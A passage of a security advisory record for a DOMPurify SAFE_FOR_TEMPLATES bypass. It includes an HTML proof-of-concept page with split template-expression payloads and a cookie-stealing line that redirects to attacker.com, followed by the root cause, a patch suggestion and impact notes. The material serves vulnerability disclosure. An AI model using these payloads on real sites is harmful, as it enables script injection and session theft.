bold; }\n .grid { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; }\n @media (max-width: 700px) { .grid { grid-template-columns: 1fr; } }\n .arrow {\n text-align: center;\n font-size: 1.4rem;\n color: #8b949e;\n margin: 4px 0;\n }\n .xss-banner {\n display: none;\n background: #da3633;\n color: #fff;\n text-align: center;\n padding: 16px;\n font-size: 1.1rem;\n font-weight: 700;\n border-radius: 6px;\n margin-bottom: 24px;\n letter-spacing: 0.03em;\n }\n button {\n background: #238636;\n color: #fff;\n border: none;\n padding: 10px 22px;\n border-radius: 6px;\n font-size: 0.9rem;\n font-weight: 600;\n cursor: pointer;\n margin-right: 10px;\n margin-bottom: 8px;\n }\n button:hover { background: #2ea043; }\n button.danger { background: #da3633; }\n button.danger:hover { background: #f85149; }\n .note {\n background: #161b22;\n border-left: 3px solid #9e6a03;\n padding: 12px 16px;\n font-size: 0.82rem;\n color: #e3b341;\n border-radius: 0 6px 6px 0;\n margin-top: 14px;\n }\n #log {\n background: #0d1117;\n border: 1px solid #30363d;\n border-radius: 6px;\n padding: 14px;\n font-size: 0.8rem;\n font-family: monospace;\n min-height: 60px;\n max-height: 300px;\n overflow-y: auto;\n line-height: 1.8;\n }\n .log-ok { color: #3fb950; }\n .log-fail { color: #f85149; }\n .log-info { color: #8b949e; }\n .log-warn { color: #e3b341; }\n \u003c/style\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\n \u003ch1\u003e\ud83d\udd34 DOMPurify 3.4.7 - SAFE_FOR_TEMPLATES Bypass\u003c/h1\u003e\n \u003cp class=\"subtitle\"\u003e\n CVE candidate \u00b7 Template expression injection via \u0026lt;template\u0026gt; content \u00b7\n Affects: \u003ccode\u003eRETURN_DOM + SAFE_FOR_TEMPLATES\u003c/code\u003e and \u003ccode\u003eIN_PLACE + SAFE_FOR_TEMPLATES\u003c/code\u003e\n \u003c/p\u003e\n\n \u003cdiv id=\"xss-banner\" class=\"xss-banner\"\u003e\n \u26a0\ufe0f XSS CONFIRMED - Expression executed in this page\u0027s context\n \u003c/div\u003e\n\n \u003c!-- \u2500\u2500 Controls \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 --\u003e\n \u003cdiv class=\"card\"\u003e\n \u003cdiv class=\"card-header\"\u003e\n \u003cspan class=\"badge badge-run\"\u003eControls\u003c/span\u003e\n \u003cspan class=\"card-title\"\u003eRun individual test cases\u003c/span\u003e\n \u003c/div\u003e\n \u003cdiv class=\"card-body\"\u003e\n \u003cbutton onclick=\"runAll()\"\u003e\u25b6 Run all tests\u003c/button\u003e\n \u003cbutton onclick=\"runPoC1()\"\u003ePoC 1 - alert()\u003c/button\u003e\n \u003cbutton onclick=\"runPoC2()\"\u003ePoC 2 - cookie exfil\u003c/button\u003e\n \u003cbutton onclick=\"runPoC3()\"\u003ePoC 3 - IN_PLACE\u003c/button\u003e\n \u003cbutton onclick=\"runControl()\"\u003eControl - string output (should block)\u003c/button\u003e\n \u003cdiv class=\"note\"\u003e\n PoC 1 uses \u003ccode\u003econfirm()\u003c/code\u003e instead of \u003ccode\u003ealert()\u003c/code\u003e so the page\n doesn\u0027t need a dismiss click to continue. Watch the red banner at the top.\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\n \u003c!-- \u2500\u2500 PoC 1 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 --\u003e\n \u003cdiv class=\"card\" id=\"card-poc1\"\u003e\n \u003cdiv class=\"card-header\"\u003e\n \u003cspan class=\"badge badge-run\" id=\"badge-poc1\"\u003ePENDING\u003c/span\u003e\n \u003cspan class=\"card-title\"\u003ePoC 1 - XSS via confirm() \u00b7 RETURN_DOM mode\u003c/span\u003e\n \u003c/div\u003e\n \u003cdiv class=\"card-body\"\u003e\n \u003cdiv class=\"grid\"\u003e\n \u003cdiv\u003e\n \u003clabel\u003eATTACKER INPUT - splits \u003ccode\u003e${\"{confirm(...)}\"}\u003c/code\u003e across two custom elements\u003c/label\u003e\n \u003cpre id=\"input-poc1\"\u003e\u003c/pre\u003e\n \u003c/div\u003e\n \u003cdiv\u003e\n \u003clabel\u003eAFTER DOMPurify.sanitize() - what survived in template.content\u003c/label\u003e\n \u003cpre class=\"result\" id=\"nodes-poc1\"\u003e\u003c/pre\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003cdiv class=\"arrow\"\u003e\u2193 template.content.normalize() \u2193\u003c/div\u003e\n \u003clabel\u003eMERGED TEXT NODE - fully formed expression after normalization\u003c/label\u003e\n \u003cpre class=\"highlight\" id=\"merged-poc1\"\u003e\u003c/pre\u003e\n \u003clabel\u003eEXECUTION RESULT\u003c/label\u003e\n \u003cpre id=\"exec-poc1\"\u003eNot run yet\u003c/pre\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\n \u003c!-- \u2500\u2500 PoC 2 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 --\u003e\n \u003cdiv class=\"card\" id=\"card-poc2\"\u003e\n \u003cdiv class=\"card-header\"\u003e\n \u003cspan class=\"badge badge-run\" id=\"badge-poc2\"\u003ePENDING\u003c/span\u003e\n \u003cspan class=\"card-title\"\u003ePoC 2 - Cookie exfiltration \u00b7 RETURN_DOM mode\u003c/span\u003e\n \u003c/div\u003e\n \u003cdiv class=\"card-body\"\u003e\n \u003cdiv class=\"grid\"\u003e\n \u003cdiv\u003e\n \u003clabel\u003eATTACKER INPUT - exfil payload split across custom elements\u003c/label\u003e\n \u003cpre id=\"input-poc2\"\u003e\u003c/pre\u003e\n \u003c/div\u003e\n \u003cdiv\u003e\n \u003clabel\u003eINDIVIDUAL TEXT NODES after sanitization (each \"clean\")\u003c/label\u003e\n \u003cpre class=\"result\" id=\"nodes-poc2\"\u003e\u003c/pre\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003cdiv class=\"arrow\"\u003e\u2193 template.content.normalize() \u2193\u003c/div\u003e\n \u003clabel\u003eMERGED EXPRESSION - what a template engine would evaluate\u003c/label\u003e\n \u003cpre class=\"highlight\" id=\"merged-poc2\"\u003e\u003c/pre\u003e\n \u003clabel\u003eSIMULATED EXECUTION (fetch URL that would be called)\u003c/label\u003e\n \u003cpre id=\"exec-poc2\"\u003eNot run yet\u003c/pre\u003e\n \u003cdiv class=\"note\"\u003e\n Real execution would redirect the victim to\n \u003ccode\u003eattacker.com\u003c/code\u003e carrying the session cookie.\n This PoC constructs the URL without actually sending it.\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\n \u003c!-- \u2500\u2500 PoC 3 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 --\u003e\n \u003cdiv class=\"card\" id=\"card-poc3\"\u003e\n \u003cdiv class=\"card-header\"\u003e\n \u003cspan class=\"badge badge-run\" id=\"badge-poc3\"\u003ePENDING\u003c/span\u003e\n \u003cspan class=\"card-title\"\u003ePoC 3 - XSS \u00b7 IN_PLACE mode (DOM node input)\u003c/span\u003e\n \u003c/div\u003e\n \u003cdiv class=\"card-body\"\u003e\n \u003cdiv class=\"grid\"\u003e\n \u003cdiv\u003e\n \u003clabel\u003eATTACKER PROVIDES - a DOM node with programmatically split text nodes\u003c/label\u003e\n \u003cpre id=\"input-poc3\"\u003e\u003c/pre\u003e\n \u003c/div\u003e\n \u003cdiv\u003e\n \u003clabel\u003eAFTER IN_PLACE sanitization - text nodes unchanged\u003c/label\u003e\n \u003cpre class=\"result\" id=\"nodes-poc3\"\u003e\u003c/pre\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003cdiv class=\"arrow\"\u003e\u2193 template.content.normalize() \u2193\u003c/div\u003e\n \u003clabel\u003eMERGED EXPRESSION\u003c/label\u003e\n \u003cpre class=\"highlight\" id=\"merged-poc3\"\u003e\u003c/pre\u003e\n \u003clabel\u003eEXECUTION RESULT\u003c/label\u003e\n \u003cpre id=\"exec-poc3\"\u003eNot run yet\u003c/pre\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\n \u003c!-- \u2500\u2500 Control \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 --\u003e\n \u003cdiv class=\"card\" id=\"card-ctrl\"\u003e\n \u003cdiv class=\"card-header\"\u003e\n \u003cspan class=\"badge badge-run\" id=\"badge-ctrl\"\u003ePENDING\u003c/span\u003e\n \u003cspan class=\"card-title\"\u003eControl - string output (default) MUST block the payload\u003c/span\u003e\n \u003c/div\u003e\n \u003cdiv class=\"card-body\"\u003e\n \u003clabel\u003eSame attacker input, but sanitized WITHOUT RETURN_DOM (string output path)\u003c/label\u003e\n \u003cpre id=\"input-ctrl\"\u003e\u003c/pre\u003e\n \u003cdiv class=\"arrow\"\u003e\u2193 DOMPurify.sanitize() - string path hits the regex scrub at line 2067 \u2193\u003c/div\u003e\n \u003clabel\u003eOUTPUT STRING - expression should be stripped\u003c/label\u003e\n \u003cpre id=\"output-ctrl\"\u003eNot run yet\u003c/pre\u003e\n \u003cdiv class=\"note\"\u003e\n The string output path is NOT vulnerable because\n \u003ccode\u003ebody.innerHTML\u003c/code\u003e serialises the template content into a\n flat string where the full \u003ccode\u003e${\"{...}\"}\u003c/code\u003e expression is visible\n and the final regex scrub catches it.\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\n \u003c!-- \u2500\u2500 Log \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 --\u003e\n \u003cdiv class=\"card\"\u003e\n \u003cdiv class=\"card-header\"\u003e\n \u003cspan class=\"badge badge-run\"\u003eLog\u003c/span\u003e\n \u003cspan class=\"card-title\"\u003eTest output\u003c/span\u003e\n \u003c/div\u003e\n \u003cdiv class=\"card-body\"\u003e\n \u003cdiv id=\"log\"\u003e\u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\n\u003cscript\u003e\n// \u2500\u2500 Helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nlet xssConfirmed = false;\n\nfunction log(msg, type = \u0027info\u0027) {\n const el = document.getElementById(\u0027log\u0027);\n const line = document.createElement(\u0027div\u0027);\n line.className = \u0027log-\u0027 + type;\n line.textContent = \u0027[\u0027 + new Date().toLocaleTimeString() + \u0027] \u0027 + msg;\n el.appendChild(line);\n el.scrollTop = el.scrollHeight;\n}\n\nfunction setBadge(id, status) {\n const el = document.getElementById(\u0027badge-\u0027 + id);\n el.textContent = status;\n el.className = \u0027badge \u0027 + {\n PASS: \u0027badge-fail\u0027, // \"PASS\" here means the attack succeeded (bad for security)\n BLOCK: \u0027badge-pass\u0027, // \"BLOCK\" means DOMPurify correctly blocked it\n PENDING: \u0027badge-run\u0027,\n ERROR: \u0027badge-warn\u0027,\n }[status];\n}\n\nfunction markXSS(poc) {\n if (!xssConfirmed) {\n xssConfirmed = true;\n document.getElementById(\u0027xss-banner\u0027).style.display = \u0027block\u0027;\n }\n log(\u0027\ud83d\udd34 XSS CONFIRMED in \u0027 + poc + \u0027 - expression executed in page context\u0027, \u0027fail\u0027);\n}\n\n// \u2500\u2500 PoC 1: RETURN_DOM + alert \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction runPoC1() {\n log(\u0027Running PoC 1 - RETURN_DOM + confirm()...\u0027, \u0027info\u0027);\n\n // IMPORTANT:\n // Build a REAL template DOM node with split TEXT nodes.\n // HTML parsing would merge adjacent text automatically,\n // so we construct the DOM programmatically.\n\n const container = document.createElement(\u0027div\u0027);\n const tmpl = document.createElement(\u0027template\u0027);\n\n tmpl.content.appendChild(document.createTextNode(\u0027$\u0027));\n tmpl.content.appendChild(\n document.createTextNode(\n \u0027{confirm(\"XSS - DOMPurify SAFE_FOR_TEMPLATES bypass\\\\nExpression executed in: \" + document.domain)}\u0027\n )\n );\n\n container.appendChild(tmpl);\n\n document.getElementById(\u0027input-poc1\u0027).textContent =\n \u0027template.content.childNodes[0].data = \"$\"\\\\n\u0027 +\n \u0027template.content.childNodes[1].data = \"{confirm(...)}\"\u0027;\n\n // Sanitize the DOM node itself\n const sanitized = DOMPurify.sanitize(container, {\n RETURN_DOM: true,\n SAFE_FOR_TEMPLATES: true,\n });\n\n const tmplAfter = sanitized.querySelector(\u0027template\u0027);\n\n if (!tmplAfter) {\n document.getElementById(\u0027exec-poc1\u0027).textContent =\n \u0027Template element removed during sanitization\u0027;\n setBadge(\u0027poc1\u0027, \u0027ERROR\u0027);\n return;\n }\n\n const nodesBefore = [...tmplAfter.content.childNodes].map(\n n =\u003e JSON.stringify(n.nodeValue)\n );\n\n document.getElementById(\u0027nodes-poc1\u0027).textContent =\n \u0027childNodes[0].data = \u0027 + nodesBefore[0] + \u0027\\\\n\u0027 +\n \u0027childNodes[1].data = \u0027 + nodesBefore[1] + \u0027\\\\n\\\\n\u0027 +\n \u0027\u2192 Neither fragment matched individually.\u0027;\n\n log(\n \u0027PoC 1: Text nodes after sanitization: \u0027 +\n nodesBefore.join(\u0027, \u0027),\n \u0027warn\u0027\n );\n\n // Merge text nodes\n tmplAfter.content.normalize();\n\n const merged = tmplAfter.content.textContent;\n\n document.getElementById(\u0027merged-poc1\u0027).textContent = merged;\n\n log(\u0027PoC 1: After normalize() - merged text: \u0027 + merged, \u0027warn\u0027);\n\n try {\n const result = new Function(\u0027return `\u0027 + merged + \u0027`\u0027)();\n\n document.getElementById(\u0027exec-poc1\u0027).textContent =\n \u0027\u2714 Expression executed successfully\\\\n\u0027 +\n \u0027Returned: \u0027 + result;\n\n setBadge(\u0027poc1\u0027, \u0027PASS\u0027);\n markXSS(\u0027PoC 1\u0027);\n\n } catch (e) {\n document.getElementById(\u0027exec-poc1\u0027).textContent =\n \u0027Error: \u0027 + e.message;\n\n setBadge(\u0027poc1\u0027, \u0027ERROR\u0027);\n\n log(\u0027PoC 1 error: \u0027 + e.message, \u0027warn\u0027);\n }\n}\n\n// \u2500\u2500 PoC 2: cookie exfiltration \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction runPoC2() {\n log(\u0027Running PoC 2 - cookie exfiltration...\u0027, \u0027info\u0027);\n\n // Fake cookie for demonstration\n document.cookie = \u0027session=DEADBEEF_SECRET_TOKEN; path=/\u0027;\n\n // IMPORTANT:\n // Build REAL split text nodes programmatically.\n // Do NOT rely on HTML parsing.\n\n const container = document.createElement(\u0027div\u0027);\n const tmpl = document.createElement(\u0027template\u0027);\n\n tmpl.content.appendChild(document.createTextNode(\u0027$\u0027));\n\n tmpl.content.appendChild(\n document.createTextNode(\n \u0027{document.location=\"//attacker.com/steal?c=\"+document.cookie}\u0027\n )\n );\n\n container.appendChild(tmpl);\n\n document.getElementById(\u0027input-poc2\u0027).textContent =\n \u0027template.content.childNodes[0].data = \"$\"\\\\n\u0027 +\n \u0027template.content.childNodes[1].data = \"{document.location=...}\"\u0027;\n\n // Sanitize DOM node\n const sanitized = DOMPurify.sanitize(container, {\n RETURN_DOM: true,\n SAFE_FOR_TEMPLATES: true,\n });\n\n const tmplAfter = sanitized.querySelector(\u0027template\u0027);\n\n if (!tmplAfter) {\n document.getElementById(\u0027exec-poc2\u0027).textContent =\n \u0027Template element removed during sanitization\u0027;\n\n setBadge(\u0027poc2\u0027, \u0027ERROR\u0027);\n\n log(\u0027PoC 2: template element missing after sanitize()\u0027, \u0027warn\u0027);\n\n return;\n }\n\n const nodes = [...tmplAfter.content.childNodes].map(\n n =\u003e JSON.stringify(n.nodeValue)\n );\n\n document.getElementById(\u0027nodes-poc2\u0027).textContent =\n \u0027Node 0: \u0027 + nodes[0] + \u0027\\\\n\u0027 +\n \u0027Node 1: \u0027 + nodes[1] + \u0027\\\\n\\\\n\u0027 +\n \u0027\u2192 Neither fragment individually matches template-expression regexes.\u0027;\n\n log(\u0027PoC 2: Nodes after sanitize: \u0027 + nodes.join(\u0027, \u0027), \u0027warn\u0027);\n\n // Merge adjacent text nodes\n tmplAfter.content.normalize();\n\n const merged = tmplAfter.content.textContent;\n\n document.getElementById(\u0027merged-poc2\u0027).textContent = merged;\n\n log(\u0027PoC 2: Merged expression: \u0027 + merged, \u0027warn\u0027);\n\n // Simulate framework evaluation\n try {\n new Function(\u0027return `\u0027 + merged + \u0027`\u0027)();\n\n const cookieValue = document.cookie;\n\n const stealUrl =\n \u0027//attacker.com/steal?c=\u0027 +\n encodeURIComponent(cookieValue);\n\n document.getElementById(\u0027exec-poc2\u0027).textContent =\n \u0027\u2714 Expression successfully evaluated\\\\n\\\\n\u0027 +\n \u0027Would redirect victim to:\\\\n\u0027 +\n stealUrl + \u0027\\\\n\\\\n\u0027 +\n \u0027Cookie exposed:\\\\n\u0027 +\n cookieValue;\n\n setBadge(\u0027poc2\u0027, \u0027PASS\u0027);\n\n markXSS(\u0027PoC 2\u0027);\n\n log(\u0027PoC 2: Would exfiltrate cookie \u2192 \u0027 + stealUrl, \u0027fail\u0027);\n\n } catch (e) {\n document.getElementById(\u0027exec-poc2\u0027).textContent =\n \u0027Error: \u0027 + e.message;\n\n setBadge(\u0027poc2\u0027, \u0027ERROR\u0027);\n\n log(\u0027PoC 2 error: \u0027 + e.message, \u0027warn\u0027);\n }\n}\n// \u2500\u2500 PoC 3: IN_PLACE mode \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction runPoC3() {\n log(\u0027Running PoC 3 - IN_PLACE mode...\u0027, \u0027info\u0027);\n\n // Build DOM node manually (simulates attacker-controlled DOM input,\n // e.g. content parsed from a WebSocket message or an iframe)\n const container = document.createElement(\u0027div\u0027);\n const tmplEl = document.createElement(\u0027template\u0027);\n\n // Two separate text nodes - HTML parser merges them, but programmatic\n // DOM construction keeps them split. This is the IN_PLACE attack surface.\n tmplEl.content.appendChild(document.createTextNode(\u0027$\u0027));\n tmplEl.content.appendChild(document.createTextNode(\u0027{confirm(\"XSS via IN_PLACE - domain: \" + document.domain)}\u0027));\n container.appendChild(tmplEl);\n\n document.getElementById(\u0027input-poc3\u0027).textContent =\n \u0027// Programmatically constructed DOM node:\\n\u0027 +\n \u0027template.content.childNodes[0].data = \"$\"\\n\u0027 +\n \u0027template.content.childNodes[1].data = \"{confirm(\\\\\"XSS via IN_PLACE...\\\\\")}\"\\n\\n\u0027 +\n \u0027// Passed to DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true })\u0027;\n\n // Sanitize IN_PLACE - SAFE_FOR_TEMPLATES should strip the expression\n DOMPurify.sanitize(container, {\n IN_PLACE: true,\n SAFE_FOR_TEMPLATES: true,\n });\n\n const tmplAfter = container.querySelector(\u0027template\u0027);\n const nodesAfter = [...tmplAfter.content.childNodes].map(n =\u003e n.nodeValue);\n document.getElementById(\u0027nodes-poc3\u0027).textContent =\n \u0027childNodes[0].data = \u0027 + JSON.stringify(nodesAfter[0]) + \u0027\\n\u0027 +\n \u0027childNodes[1].data = \u0027 + JSON.stringify(nodesAfter[1]) + \u0027\\n\\n\u0027 +\n \u0027\u2192 _scrubTemplateExpressions() did not enter template.content\\n\u0027 +\n \u0027\u2192 Both nodes unchanged after sanitization.\u0027;\n\n log(\u0027PoC 3: Nodes after IN_PLACE sanitize: \u0027 + nodesAfter.map(n =\u003e JSON.stringify(n)).join(\u0027, \u0027), \u0027warn\u0027);\n\n tmplAfter.content.normalize();\n const merged = tmplAfter.content.textContent;\n document.getElementById(\u0027merged-poc3\u0027).textContent = merged;\n\n log(\u0027PoC 3: Merged: \u0027 + merged, \u0027warn\u0027);\n\n try {\n const result = new Function(\u0027return `\u0027 + merged + \u0027`\u0027)();\n document.getElementById(\u0027exec-poc3\u0027).textContent =\n \u0027\u2714 new Function() returned: \u0027 + result + \u0027\\n\u0027 +\n \u0027confirm() dialog shown. XSS confirmed via IN_PLACE mode.\u0027;\n setBadge(\u0027poc3\u0027, \u0027PASS\u0027);\n markXSS(\u0027PoC 3\u0027);\n } catch (e) {\n document.getElementById(\u0027exec-poc3\u0027).textContent = \u0027Error: \u0027 + e.message;\n setBadge(\u0027poc3\u0027, \u0027ERROR\u0027);\n log(\u0027PoC 3 error: \u0027 + e.message, \u0027warn\u0027);\n }\n}\n\n// \u2500\u2500 Control: string output must block \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction runControl() {\n log(\u0027Running control - string output path (should block)...\u0027, \u0027info\u0027);\n\n const dirty =\n \u0027\u003ctemplate\u003e\u0027 +\n \u0027\u003cx-split-1\u003e$\u003c/x-split-1\u003e\u0027 +\n \u0027\u003cx-split-2\u003e{confirm(\"this should never fire\")}\u003c/x-split-2\u003e\u0027 +\n \u0027\u003c/template\u003e\u0027;\n\n document.getElementById(\u0027input-ctrl\u0027).textContent = dirty;\n\n // Default string output - NOT using RETURN_DOM\n const sanitized = DOMPurify.sanitize(dirty, {\n SAFE_FOR_TEMPLATES: true,\n // RETURN_DOM intentionally omitted - string path is safe\n });\n\n document.getElementById(\u0027output-ctrl\u0027).textContent = sanitized;\n\n const blocked = !sanitized.includes(\u0027${\u0027) \u0026\u0026 !sanitized.includes(\u0027{confirm\u0027);\n if (blocked) {\n setBadge(\u0027ctrl\u0027, \u0027BLOCK\u0027);\n log(\u0027Control: String output correctly stripped the expression. Output: \u0027 + sanitized, \u0027ok\u0027);\n } else {\n setBadge(\u0027ctrl\u0027, \u0027PASS\u0027); // unexpected\n log(\u0027Control: UNEXPECTED - expression survived string output path: \u0027 + sanitized, \u0027fail\u0027);\n }\n}\n\n// \u2500\u2500 Run all \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction runAll() {\n document.getElementById(\u0027log\u0027).innerHTML = \u0027\u0027;\n xssConfirmed = false;\n document.getElementById(\u0027xss-banner\u0027).style.display = \u0027none\u0027;\n log(\u0027=== Starting full test run ===\u0027, \u0027info\u0027);\n runPoC1();\n runPoC2();\n runPoC3();\n runControl();\n log(\u0027=== Test run complete ===\u0027, \u0027info\u0027);\n}\n\u003c/script\u003e\n\n\u003c/body\u003e\n\u003c/html\u003e\n\n\n```\n\n\n---\n\n## Root Cause\n\n`_scrubTemplateExpressions` (`src/purify.ts:1115`) does not recurse into `\u003ctemplate\u003e.content`:\n\n```ts\nconst _scrubTemplateExpressions = function (node: Element): void {\n node.normalize(); // Does NOT normalize inside \u003ctemplate\u003e.content (DOM spec)\n const walker = createNodeIterator.call(\n node.ownerDocument || node,\n node, // NodeIterator does NOT enter \u003ctemplate\u003e.content\n NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT |\n NodeFilter.SHOW_CDATA_SECTION | NodeFilter.SHOW_PROCESSING_INSTRUCTION,\n null\n );\n // Scrubs nodes it finds, but never sees \u003ctemplate\u003e content\n};\n```\n\nThe fix is to extend `_scrubTemplateExpressions` to explicitly recurse into `\u003ctemplate\u003e.content`, mirroring the approach already used by `_sanitizeShadowDOM` (`src/purify.ts:1753`):\n\n```ts\nif (_isDocumentFragment(shadowNode.content)) {\n _sanitizeShadowDOM(shadowNode.content); // already handles recursion\n}\n```\n\n### Suggested Patch Direction\n\n```ts\nconst _scrubTemplateExpressions = function (node: Element): void {\n node.normalize();\n const walker = createNodeIterator.call( /* existing args */ );\n\n // ... existing scrub loop ...\n\n // NEW: recurse into \u003ctemplate\u003e.content, mirroring _sanitizeShadowDOM\n const templates = (node as Element).querySelectorAll?.(\u0027template\u0027) ?? [];\n arrayForEach(Array.from(templates), (tmpl: HTMLTemplateElement) =\u003e {\n if (_isDocumentFragment(tmpl.content)) {\n _scrubTemplateExpressions(tmpl.content as unknown as Element);\n }\n });\n};\n```\n\n---\n\n## Impact\n\n**Who is affected:** Applications that use DOMPurify with `SAFE_FOR_TEMPLATES: true` combined with `RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, or `IN_PLACE: true`, whose downstream template engine processes `\u003ctemplate\u003e` element content.\n\n**What an attacker can achieve:** Inject arbitrary template expressions (`${...}`, `{{...}}`, `\u003c%...%\u003e`) into the sanitized DOM output inside `\u003ctemplate\u003e` elements. If the consuming template engine evaluates these expressions, this leads to **template injection**, which in server-side contexts can escalate to **Remote Code Execution** and in client-side contexts to **Cross-Site Scripting**.\n\n### Preconditions for Exploitation\n\n| Precondition | Notes |\n|---|---|\n| `SAFE_FOR_TEMPLATES: true` | Non-default - must be explicitly set |\n| `RETURN_DOM: true` or `IN_PLACE: true` | Non-default - must be explicitly set |\n| Template engine processes `\u003ctemplate\u003e.content` | Application-dependent |\n\n### What Is NOT Affected\n\nThe **string output path (default)** is not affected. The final regex scrub at `src/purify.ts:2067\u20132071` operates on the serialized HTML string, where the injected expression is visible and stripped:\n\n```ts\n// src/purify.ts:2067 - only runs on string output, not DOM output\nif (SAFE_FOR_TEMPLATES) {\n arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) =\u003e {\n serializedHTML = stringReplace(serializedHTML, expr, \u0027 \u0027);\n });\n}\n```",
"id": "GHSA-gvmj-g25r-r7wr",
"modified": "2026-07-23T14:00:07Z",
"published": "2026-06-15T20:02:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-gvmj-g25r-r7wr"
},
{
"type": "PACKAGE",
"url": "https://github.com/cure53/DOMPurify"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "DOMPurify: SAFE_FOR_TEMPLATES bypass - template expressions survive sanitization inside \u003ctemplate\u003e content when using DOM output modes"
}
ubuntu-cve-2026-65900
Vulnerability from osv_ubuntu
